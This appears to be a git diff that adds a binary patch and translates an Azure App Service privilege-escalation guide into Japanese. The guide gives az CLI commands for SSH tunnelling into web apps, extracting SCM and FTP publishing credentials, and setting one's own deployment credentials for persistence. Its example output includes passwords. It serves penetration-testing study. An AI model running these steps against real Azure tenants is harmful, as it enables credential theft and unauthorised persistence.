z`WW(7D5izsa0TV~QHVu$NVdeKcl}WE&e;_6$5E+HwjxB4S<9?Bn;*UPwsTLPGe`CA zu6Mj1=gHEGdPIHiTyyNtW_u@2*;VQg0kdpb!?I6(>f43o&tA|nG?-VO&&Gn!LzNQO z_4gy<*#gfC6}-FXa(HVS1J#g62Zy+(RAwcbAsni*UoL=dB9yS>W&U?GL7XYY*~P$^ zJ;aE`N!->%y4CKbr~c;Bzh)d9$&ydU-~yEUHn&{Yy8ca4cBhGabt{9wSK|fc;4((yB2}5{B7Q~ zC(k}TCL+-D50{?5=4aRb^MuaLhvdVM;l?J`=X3mQ<9chWDtXxa7Y#8lZl6e#a@bfb zaP^usJcwc~;%u#m1+-*4H8vK|eVODPLp759^u72M*hvAE*BYn;IYSpfw~dI_oJHhX zZMu%g!U~|f+9QmERIA+wk%NsFl2fNq%pFdoTN$csB#Q16VPF(9$h(K&>Z3qUAqXn? z`OaYG%(b`PbN>bJ9XD=lXXmf=E@gi|wj=P0vsqS_8QTN9zudif;+}E0eeAPenez0? z4^4?sv?b9YKlP2m7qdYuwPn;7}j27-=Y}vMb!! z6;mxjB?hXp_qrDWeGd)Ffeh%P<}Q5;u}-{EET9`F0rYflT?_Hijfo_EkMp)A%`r!z zSVFPkD3t5a*C%cP6^iO$8XFeUKiCY8Ph(R=|KNR;eClLG50Gynh~07*na zRN5F{7|)Y^LtNFfg+~eLk-c-P4Vq5$(!^vGPUI)eOe!F>^tgTaEATpBfCC=TO-P*j zof-jce0H6u6qkr|Cdtl2vBY$6V$bfW3ZTb( z7tr@m!CgA_}N|t6xhA!;(+GHk{X;Bg%D>9R`wk5>3c3XOP zbEjFabW_ctBQf)tPPM8iHsLJS3;A^fe@-w16AWCozU}gcwDD{jWF_~p&2kr6p>#Y2(5pZK)jnK)(wuYNj30jc+ed%8y*(?n z@AWTycEO#BKnCbL6}Id{^@u>_XFphU+oga1v&9idL>-%GZf#+!=kcq}Tlh6tck3>( zQWc3;&oEr6ChT?*kTKHYByz7waaJ;To7L?Xd+4H)BmYbGiv_$K(?~1xSgOxuVfzW} zj~Tkax05DvLU8J9olM?+7sRvCe#B7e zNv6%{c=-E2eg7Z6?PRs49`AZ~%`5^t6M+L3(6hazoq1jA|Cvpn`sjOmZ@=RU>iO04 zn_63VUOW8nrY>#+HYtYz(T`CYrvT-0kWA=C6Dv3AMOPtOj9p~Tw;(89+Vy{~UAcpL zmE89jDd2SmV+7EpaV_?2cAj*tg^3NS{8o%wth{fsn3JlE1$}GYG7gxEQpe$_cahI8 zrVpr!8;ac3)5|RZNGesup`@WIWGDx`SSD{xn2O72aZVRQ7U4_T7N-o*chk`9h12Y~ zgh+Do_mGj0_L*+KIoCZ|LS)ey1GuPHacwZ z6j!a=YW3Z>YRzU*fODOs1Rejs_Ra*}uByKGzqN-m-}z>q$V|c%hA=8J)S@B=q_2av zwY64!we>x1t?yNRY6YLg*4BAwQ9yktpil||PC+t&5E2Z8K!7A|CgzDX_>662gYNU%wk&B)-4q}b0@F` z??^9x^#7m8wG+*yTps#F_v?7~7xpsAZo#~!6-%Iw)Ioc=_q}T|c_>tsh^$TuEkO9)}TNm|Eoz2MT)S+lVbZ zf`BZSbiDU{AKdw$Km9~&)StFLm&VS9M%??#ek1Dn#zyQJ97L=!g=~7nB$Ba<-niUK z{^{G=OvP&d#Ok3_&?|2khJr3dcTAB~vkg&pE`+v{HFDb&>Ir0@x|fF58kUmEYmKlm z8!pa9U|o#H=H(a~*zdKsXEuH3_TRt$s;kuQ%Ihs#L;}YrKtVq~Bc4%#1oQ)UPXFzf zZ~4T?qig=EJ&{uTVsSj49>UN2drgJ4OgxGKUuu5KLb*o7536IFN^8Xun`WwZH2-%6 z_VGlURJR_wOt}|lU%cXWL|x43F3T)RyRfY&{2&Wu=is<5e7^yHVYVrwnv9jt{-jNwWuDuP9 z_IBduL;dKDIM|u@5XjWKR&av=whmLt7!fc2E#*@g6jz<&$s__4k6db)BU%iIljwGt zb&=OM8@9ujHPc>WBTt>}80@n$bP9W#G^LV#SUBeDjKLx3#Ik>ZHL| zlfaRAFS$sz=y(ho83k`_GKTV(7PgY|0Mf&VgR+1u&p&WK0Gz4OcS8 znJ8z;+AT}068#)@_*kM|32WrXGfBOA=)xrwZpi`{=5#kT(M_y`{E?q2MBE6nvW6Zs z0@iXgG+Yk&m%+<61K!^B+2_T+bIbRx_{_3ps^@sD`Fj$mWCHZik6|6Y+f?$fJ=8Y6 zdPi*gZU6kPm;USie`w8T7q&Gu;N@Hz|Jl7CPXKrYKrfV8W0gM=-|WLjLB8u<1)UFr z;wb3VVeePBa4%Zix7*fL?*KsK|UxfUYLIH z3pZc!k+)r^q<9~X6Cl7Xzb62xOs7!L%LJZ}Egb>9W=+e6o4@#X!KO{`nUWcqHIyAe zM>2`~yE^e`QPia_dZ1(qwwT9V@{h=lHnUy%_#cBKJ@w;x_ND9H@$Xc>9{Q+fE-z)0 zB1kr_g^?0cI9FcMJnh1=XTtXv!nMyrJa#UI(cCQ;JF|F>klV49-lJL zAc4v!aQttw%I^bPNCMFJ-aBW_ji3FZdghsHPMtnIdLWa-He2Dl`#bO=fKC7-aN#LH z>a0nU86)VX7~Anb1{Czl8)RX|w_+|h?U{es#hvN0u;MEhfo=e>5Wq?_B`-uQIv<0B z1HrsS@u#l8e)(r_ys`a$rK)0Kr5O29d3IonDu=-FzsV}6t!xPiye#YkP`we#BB)qz|dyJB&y?&!ukKaV{C(&E24E|ja0D@gGUkp$bUv77%C!g8B(o-YYX zUi}dn{pzQOUjD&omPy1jw?xR5smEf1;8X-2Y!r-`&j*}yp!E50)oc?BAB%Nuf7{jV zpZVSoFTYbMl`Vfy*a8wL4FL*zX*lvO<0Me3b-Db%-n`HZPeO7fpeVv;aIPT7{(qaJ1zd-XvrDQb`R-6wro1&xIAc06}&hlBu&{!6{@$UPxcJYSHKJ{POuTnR~HfSt| zvd)F2E<&nt3H%_3;q=y_%Px)o(;Yv!?%OkFsP1v}fR~a$MG~N(SEO0ksPPi$`Pe^P zwc$T*{n~=Ozp&A9k&PwrzIQeh?xp%7A}C}o`=9Y4Y7CwhO=8T z=U(7``-iu`R2~_c?xw1@Kswv~j>Q!~OruU9Da9RxlsQ_;mCSZ%yf~2vEhI z^uqOj{MX%U*8Yv^>RK{m>Qtmt32Ywh!@9n1Z1O#9m*g{HF0tZHW>YEsh(aHSx>q-X zexyamD)3`H|71pxq;^FE0>ls)PklO6bOqv(v!MLN@N?q9_hv4;V#e3M@{J2_UbIMc zoy=o+4GD~kz$D5C1$|tW;>DFtK(AjP-+Iff@818w!=GpzPS0yerciKQJU`fnUk~=; zXVBQK9OQMO7!oJRNJ2rEDfh$kzMHAt;*xq*PPuok#YVrDrrbk8*Jy%|cEDZ+_4%+ljiW$1TD@9H-FJ*b3auQz3tNiWn}EeQfEECA zU^`2p?9-tA(_rZ)B$9=mrslm{e)-Ekx@PfW=4Y?y4=5W~G6EFzlA+{{Dw%*@y*jqx z2lrgD>%oWrzP*3o{CRNWY0JmXwgev7vmG0~09}rSeV#@ZHsX=EiJmTK&jgOi-gMdP zZ295#wm|B!S{hy64zBqrr>Zs&#$+lGwfk~V>KWQiw^pi%% z3#*a9?*IMiw{5@ofsZA3?s?<1#)RtfN6?jY@o>jJJf8E=??ljVN70+hz;>d@dIeZg z#Kj1Y4;6$8RS=anE_?AKBtKVD<*Qhad(?52AFI%_H~$5pn2(CMBrF~8QC>kWde)NF zMK*&URnX;!qs41qE$9cGdhNo9dodroEOwYzDD5C>Cs6PurJsV-Qjz;t@M%ewg z|8ULL2Os`O?!}i@E@((5Bn9kV1w1t{fHnCMQ_!Wyj-glTshg#AQDn~)b&;ufakoum zwVC-9@6s>oP$=QI4_VROdeO-EZ8FVMp7L_gVop7tqU*id+oswLoDQ zcBH%Ol1rxD_Qfy1<=;*{RqZ=Dn!Jhxs+Rx-y?SlOmXCwLj!%E~vS;tQ=fh1ezw(Yb z(Kv#LjUCxEo*eGQZ**YR)dwOm^yhs9wydcK@PYyY3$Sbj$7Ce4koO9qSOO3A^uzm7Tu(S`W<7kP5l*3Khk{?MNUwCb z6rn}%C2k=EC)4S2YWO=KV!QBtg+d_v5SkHKbAVtj;GBtg^em{%Of%N{jZrp*_ zp2E7`4%|18hSbwE`QP0rd}W2HV6_iRdyo}h(cyg2V>hL^iymijDcy*anV}bN++?1! z%n!ut3@dd@O)yz+e{G7{v2?$@f2)d;75t5;gE-y`^$LK4M zq}BI>2(;Y-KbQ#w%V9;%Ld0Exm^}@Jp#e;tlHL5aYo~nWrkl_FadWfk8w)$0O9Hh- zpr!=9mJIXSzLYj3qqKLcUh?`ocQ06X^A|r^cyZgci>I|VXR?Dh;A(7(DBQQZ1J44G zsH#CJ>tVZ)f}JV|;OM;Zz>T1rbaM*!K@UC54L_QoMvItBT2c}Gz=EZ zDdRF`r4FW9h9tOP86Q@Ue8dj+U1s@z|vvnvw#y z@DN9!T7bwhz&jW4mmm>c3SAKC@5wA$gkQh!0~dYnZ$8}cm{MkOo(BokHGy${mDDvm zcD{xP=+)1rp8Dq3{&4rhKmYqVwp!d8bFg=)7keT$9_#PLZ@esa0T@zoWTX-sd^nZ` zC2Qz1T`YOvjn^4&Z!@W6i-InqZZuxDV);H?KNNI1vLamL{1lc~(2q3;j@+Lzju=M?(Z z1=64jVN`oO5`hkyk@2QNTc^Tu&V}QifqZri=Bv&%g6_C7FA9 zkU;4ORQXyY1-*1bfp@AA0=ci;ed?aO@B8T9M<2O3f=bx7Ogqb3y99F=ce}lI^Y++49?L_Y z96>*tn2!p&hV2yd#z^FUadzJPUEIzWNkoy)<-(|TD}kWUhyc@JVYw0VSoBO}vMIE* zv={n%Ur7JXmD9d<)8{Y#(mChUTg9|0SDLX6X`X$O1Ssey367W5HUa&uhh}X5>AmmS z@$&~iI6Z33b{r4=C}5kP$GYBLQ>|@KS?JUOq+*+R=&)rW-ORJY@s+8wt^*N$1?6Y#9O<)0#Xow;`oCS0Ouq29o zA)*l}u(AUAYztD!R%9|A1wYu)^^uRh5^;mc0O$Zy})~ z@O_!qR>-RWzJ$RawzNE&3brOZ^n*cfhrDxnPmxIrv)fN*B_xHeiWF;@+eXxVNG85! zIFWhC=Vt@KsYpc6Kq|2aejz|EySu-!x$mW$zwn;-zWdMcoKhww9S;&9fuj(hpmSJ| zz;Oud|G!^b`SMTh`^4b0TP|;c*U&zF3if&!CYn8B zqP8{i#wiaF6gR2MU$PfHbkxW9F)Xi#J__&fsrN%kX3T_z2)Ze-;=oc;zdQ=9g^ScN zm*9eF0G1;eJr9kk^WYVd7#{BOfW6*XEA0RH_pkrA8_&3qbcQ502G9G$*eg}rWN*3zdHG?G zmm`(iU_rv=e3KG3oRW5mbI@K*1jR{@j#724=%H&#uP3?MO#zk|6r@U86agCGU>1}$ zAFg!<60xNS{1#+0eV8@Zd*Y%uwEn+OeRjpI3l}mc`=ktVKBVdiP|&O1gzUg%5zrep zG;RCQgO}|3#jifnw6F8Zlve2R6t)*K*p%tTGhUyWg6~t|nz|%L5pP`ty&#$9ih?cy zU`}zVIm{F{z8;jWy-EiLL-}(Eq*3X%vGUKDet4W}K2#oWqq<%oLrz9{+ApMOy&ffI>J3iU7 zar0YeG_=Hg+s1C4!{*^`Y##2x4iwM>K$Ive0dvYSsbe8kVC0bWui-z;e)iFj@37?R zXc3c8@xwgtM~ddF%a$r75%tQHZB@1`S}WK(g%&Kpnbs;Sn{qK6CxU18uf@jTPW0m? z!1BVPGR55UVT{_L)T^(0$vBwp?a0;sV!m6`#KSVf9ZVo2Q|;PJvqPrwqSkrKRu~IgISPc8U3^sJ{#YR1VE(LU1Kw2*H6z29)}vimvi}{quo{fKBv@e$ak)$c zy$y?Srn3r5+b)D{N3f-1JvIeDK`*vJ+mdQEkVNUl!lqIfr6}lf4^wGov}~MdVA%Dd z(kl}LSAeqp;`VwQfp44Are?3bq;fTdY+Mv%4FWUFe<_>^*II~%_+nVP1*vEo4)pEH z*@<1--+RLw|M5dNEO}tcsY*5u@E`#a7$X4+`WS)nbP_n6z~EPIy=24p?|6UL<{j5e zNj9};+d)^5!$AvFcFRM zp2Onl;@q1=b0)aVHUVZ~Q4`5VSIo!~NX_<8)U_wSkE0z+ah7upmb6_2+lu13u65Yx z|F|gV;mW@DeN!0aP<{4d?@TcnIf^p|BIrd;KUf`3NrF}#3b$0B(_v*a^E3Hlx$uH0 zV%99EU>hedD#~LTN7zr;TJF0Hs%=>7Omtt+!(I$ireJH&m=w=Um0ZsI#|**)OAUa^V(GD(i}@l%bIOz@rXEDTTIJpmh!{r$aK0Td&bSOfV8bB z=2GAN(5$=po#Vvd$%}wwz0=Yb5%nh6XorP4W{SNfc?N8MmZXt^W#=%M-j!ayV#=d` z^5>V`_{UdbgF0Qwu09?lKmy|=KtUfT!0>Xu=avLx4ctVp-yMJAKW=-^`aAFY=$u6J ztdw%2wyn_X=kdZoC!Wc6VFw1$fdcwOC{+}BON3ma-TkmK+rg=A3o4MQ?8EnX%YHZ! ze_3M}V7Bpy%^La_ULIu}cq8b=uMPQInqx;`>m-6835`a$n283p1j)!^v^SoE%uo^zQpouOh&FU? zdF!>yzx7A&oBxv)7c1H6$Abh&phN^H=p_Ql+mOKF1oYicF8J(>(u+a(^GZ4oDB%=$Fv=<;^Pe(TGprN4&nOygQ zMW;5d`HK&n`?*ygP#ZW}NPq-NPk@46dZxT%2?=PeRka36X|0{LfB&WHdLDo7T_YQJ zyt%OuNjA2&W6;*vGT4LXa@}|?-+?ZSU=V5KM5-mzoOs|O)G~D**ll6*nx=oY$WZ)Xo#MLxN{1W*DRIZq3zzDL{smJzkAIo z-+upx&bV*(G9^3uc#r@IOaK82`UF7bElJ>2-ueU2&3oY|zr1$ygKPgh*ExJzb5om> zi$$?JKZxft9oUl_z<%!l`jEyD^2mx5Dh=O~QmZm49!mP?D!Wd32YV zxYnLyrohERUr`K-i`sE)?OKaXzD&74Z(a>#ZQN{`Gt=sl^hHEHoZb&i%5)EbDn`JY z_XbH2lK@PnH`!O-h$NmMT8g-{z|<@cytrIfu-yKhdCP)d-0(jx`TSenrM7TX zkN^oxECCAo#Pa3cN#G!X?A@Ce{PNa&-uLVyPrkby$+=V8XP`TsMlNP!_h2`+4D7@n z96&EJ=*I}s$ikC->W+rzhug+1CmOD6%f9xg?EeAn!~g&h2uVaiRPi2y6>j|wm)^yJ z4qVuN0!@06Swmkg_0a7&p6gtTr@gz-ueO;zq;baZqB4NnZEY{*J^~Vn*rSn z7qifS`DltRK+>Iwh?;^z&Vg;afbDfPHRG8#y>MI2^-h%{4;KT?} z&`*pL&mw`663~zLG`_U@iE|$M>fQgesCnLu;dE}!o{mm9sU&nNhL`(x;kkjAZ~z17 z!!Y_Wh%EB391DRYpV1nQN$_eM?K$HwW5}p)ooKxm*Gf%)~VNG_=N-!VRV&;mkxT z(T3jP9u#!%-oWkLd;X=fzxS6nTy*#8SF4Va!s5+HfCNs600sSoFdcCccd4BWHC}TR z0(x~+rO9x5?!$DQ5$nm)&mRe7zkel$8u` zDu}|;O|Z}m2QzU>>O4$sTn=xz5h$dPblOcoT>nV-P_#L}d%@}PU%&g$SAOY=zhM4# z4ssGGCjkn2IqCD+Bv2%v*Yvmi?6&)_{O!*+{$(N;JFnGkYE2KOq2o3Nf;4t#IKh`e?3eYD;v=YRsp%70EHN2ANuJ<58bum*wVQkn`8|g+hr4-`6DT3 z9V-gQwxJ4=i#-Y#EoNF>{+ly(CHzby9Nmm)B!$4sBAXlNPc}GPT4w64SFAei-%elE zy6wF4BnK@I5+H$c5}=@$lRlqK0!I+gKN*_(z>ogxU0Wa7{H`XIIz{=;6w9{Z$1L;) zX}r|C6T61@p%(*YjeQV9#$y+87EjwR3c6HcZ^lBLW?vmvTeIVMwqqSO`FEiYFB?IZ zJ>@o1M*JPb5J4lFFdI$oe6&TEAZgD-%$kOgw1(wch$e!8A#c~dcw^?}RqwpyGw;1< z#wPXqCLEpz36MYq5TKw}fDzaP5;&4T&%Hf!*4(q^@|Palc3rkJdv;96=e4%BnW^}` z^dNeMd(epkcqX$I-9ayggCY3FXD=qHfrUoQ$C=hOSUUA0M66gS=z&bRZ->OQ%T~2G zW|(rOQp%;-IR#TrB39ciS9i>m|Rl=*yR_nzDBB+mxiD=RpD_P=N#}=oM%bHi-m| zB%pt)8-M?Spj+=i4r#MDd`9e2 z%$Rb9Ng(q|=Vt85Za@wrNMaVIBo|?Bd^x;y46vezCXy)V0E79yyl3~n=rp9C{lgos z{QO0iH@`6FVwIs)NPq+?n*as9vhBmxk-)16h_FAl`niiY{py)N*!xoVr3tIylw2la z6(nelU3oZEdmlH`j0~X}lx&eTOlTu9cg9kdFtQ{HC5e&TOR@|ZQIVx-Bx}ZdsVPNQ zs+;9CsN7H{g{&{R#SPb9NO`|!W<1Y*-oM^?&OdX0=bZ2I`Fy^=?L0F?xeL8!iO1?B zVq(60;8Iced`8KvffXfSs_(V-P?6&8R fd$V<$sW!5?4rL46d8XTircFh; zqjHlT(;db>{Y&GS#vHZWco@c*LOCmKbPU$S)ufQSf(m--j*SGKqkm7AHnzUqHb3id zux-gI>H}TTiijj;hBj?~JY*(GQ9X|FP$-is?!fR+?DnJ)wPsz>!8j`hL)wQl8=5>fMQF z)OS?H_GiSj9gSUanVfF#BO$+nM`?yqvQl+{rLjvd;QR#Los zMqUbLf4>|VHaLv9G8*SJ%n9n~ys;GIk2op^O zl(=aVmhYSh?wtr@2_J5X-(`5D8!LFSAD*+BG9r&yK@6p+QKJo53EoC8{4E6`!a^4; zj5ys?F25I!E;)}Xn^Soh3--<)0DDa@0=jJZnFzYX9g{FM&+qwdXN(2N)f}_Xzjy27 zySrNFc-sE&r_?@fp-OIk|GCZ8Lo%~v7kcpsA=?b-_R{Z__GUeSoUalK zy;W2-{=8EKUP5_o^gmJ3Yqz~qoW_Wgrdco2Ht5_KhiBj&H9qf4;KUm>(y8Ge1+9D^a`|{c8P%M=<*3dq#0jzn0 zqXstZ*lu&iY|idH5nDTVAgW1Ri(Fovkk)t$vXgp61omqeB8`MNx{5+?>;Il{A28zt zqVx010%zTAMxa0*7uyX3AU+~5EaMYMD$zAr7#rUYV!S&ACXZ{v93b$n;={CGU6x7Z zl6xyQ0+KA`!aezmvV01l2-#G?1^2uqj|GeoM}A8W62fw2TXNOLGTTuh%R zV&BLxFEmTWER+~0KUmZO@^-DyPVFbihD(_VBjKPR5(UF8)qI6OsIuYd0(L;&Q0OM0 zU-o1q5XEc58r;mRyVs$idKe;HD5ztqZ_{?K-oY-1f)Y%ee(?-~GE1 zM(dZQm@Sh>rQBIl2gH{&$e+}~mTrcKPmgY!R`8nzBza94hX6{x46Km?oVY27jn7vp zMX6UvKvFtD$v+gvoOA9*ksnUL2@PsF6vg?Vs4sZ}a^HfdfW*ev2_905kf`)y_ZdOW z$lU@6Zw;&1an?G1Nad`5NJJJUeSdsHoSB8@ck?=ieG1FC)CIk))NyC1dt!LKi3M+w zGIUuDMKHmkmp_}}PSqr0?Cj%Jq64F5LWb4I&hpac-uCG04)KMPxF^!s*arM83h@gL z!)Z*j_9)#eFLG=KCpdT3l1)$WHoi=&`IT<8*LICepKZdhKeRQ$D&q)mwX`X~w{l^~ z{2TvK_JnO&r4mr8GuuB#lM4CveyU7p_~g-U<(IMp%oly1BC#5wWk*f`PmGz2-0 zDVkm%6U*vIWzQ1teQzXC zGcvF;LYhup#H?1ZP^5zGZ(aLN66L7%F6~aYGl63T=jF&FAjscf z&(3(OL`;DaENx&GE;ga~otM8lnPQ+AO@hu%fHEk=8-A8mX4O&}SPC9p z^cBXSqYT;m%VWl|+%mppOi4u})C|3xsg$w){K^veprj_WMO}lW%hxJ`f%%*q-|4xv zB;0&HCsvaoqXzGi;_dv*F8P@FVcfsG-P3V6LgoP?q+u-x-MB%f8fE?CnaQ-iK*ua~ zs&RrN#r!F%p%i?yKrc%T*>J+qXVpiqhloAS5IX*keuW>1ZXz-UT33H^wQfZsHODfe z%Ta-m>{EB5_*?NNmNal6dp&|meRJM5a;*&K`^Mtr^DpmxHG1|V<2n%M-m^&3Dsfa9 ZE7J3mdLk)$=e$MWV{7ebRR;T~{{;o| --resource-group ``` - -- **Create tunnel and then connect to SSH**: - +- **トンネルを作成し、次にSSHに接続する**: ```bash az webapp create-remote-connection --name --resource-group @@ -35,152 +32,146 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **アプリケーションのデバッグ**: +1. VScodeにAzure拡張機能をインストールします。 +2. Azureアカウントで拡張機能にログインします。 +3. サブスクリプション内のすべてのAppサービスをリストします。 +4. デバッグしたいAppサービスを選択し、右クリックして「デバッグの開始」を選択します。 +5. アプリにデバッグが有効になっていない場合、拡張機能はそれを有効にしようとしますが、そのためにはあなたのアカウントに`Microsoft.Web/sites/config/write`の権限が必要です。 -- **Debug the application**: - 1. Install the Azure extension in VScode. - 2. Login in the extension with the Azure account. - 3. List all the App services inside the subscription. - 4. Select the App service you want to debug, right click and select "Start Debugging". - 5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so. +### SCM資格情報の取得と基本認証の有効化 -### Obtaining SCM Credentials & Enabling Basic Authentication - -To obtain the SCM credentials, you can use the following **commands and permissions**: - -- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call: +SCM資格情報を取得するには、次の**コマンドと権限**を使用できます: +- 権限**`Microsoft.Web/sites/publishxml/action`**は、次の呼び出しを許可します: ```bash az webapp deployment list-publishing-profiles --name --resource-group # Example output [ { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", - "publishMethod": "MSDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "ftpPassiveMode": "True", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", - "publishMethod": "FTP", - "publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", - "userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", - "publishMethod": "ZipDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - } +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} ] ``` +ユーザー名は常に同じであることに注意してください(FTPではアプリの名前が最初に追加されます)が、すべてのパスワードは同じです。 -Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them. - -Moreover, the **SCM URL is `.scm.azurewebsites.net`**. - -- The permission **`Microsoft.Web/sites/config/list/action`** allows to call: +さらに、**SCM URLは`.scm.azurewebsites.net`です**。 +- 権限**`Microsoft.Web/sites/config/list/action`**は、次の呼び出しを許可します: ```bash az webapp deployment list-publishing-credentials --name --resource-group # Example output { - "id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "kind": null, - "location": "Canada Central", - "name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "publishingPasswordHash": null, - "publishingPasswordHashSalt": null, - "publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "resourceGroup": "carlos_rg_3170", - "scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", - "type": "Microsoft.Web/sites/publishingcredentials" +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" } ``` +**資格情報は前のコマンドと同じ**であることに注意してください。 -Note how the **credentials are the same** as in the previous command. - -- Another option would be to **set you own creds** and use them: - +- 別のオプションは、**自分の資格情報を設定**してそれを使用することです: ```bash +# Show if any user is configured (password won't be shown) +az webapp deployment user show + +# Set your own credentials az webapp deployment user set \ - --user-name hacktricks \ - --password 'W34kP@ssw0rd123!' +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' + +# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp ``` +その後、これらの資格情報を使用して**SCMおよびFTPプラットフォームにアクセス**できます。これは持続性を維持するための優れた方法でもあります。 -Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence. - -Remember that to access the SCM platform from the **web you need to access to `/BasicAuth`**. +SCMプラットフォームに**ウェブからアクセスするには、`/BasicAuth`にアクセスする必要があります**。 > [!WARNING] -> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work. - -- If you see that those credentials are **REDACTED**, it's because you **need to 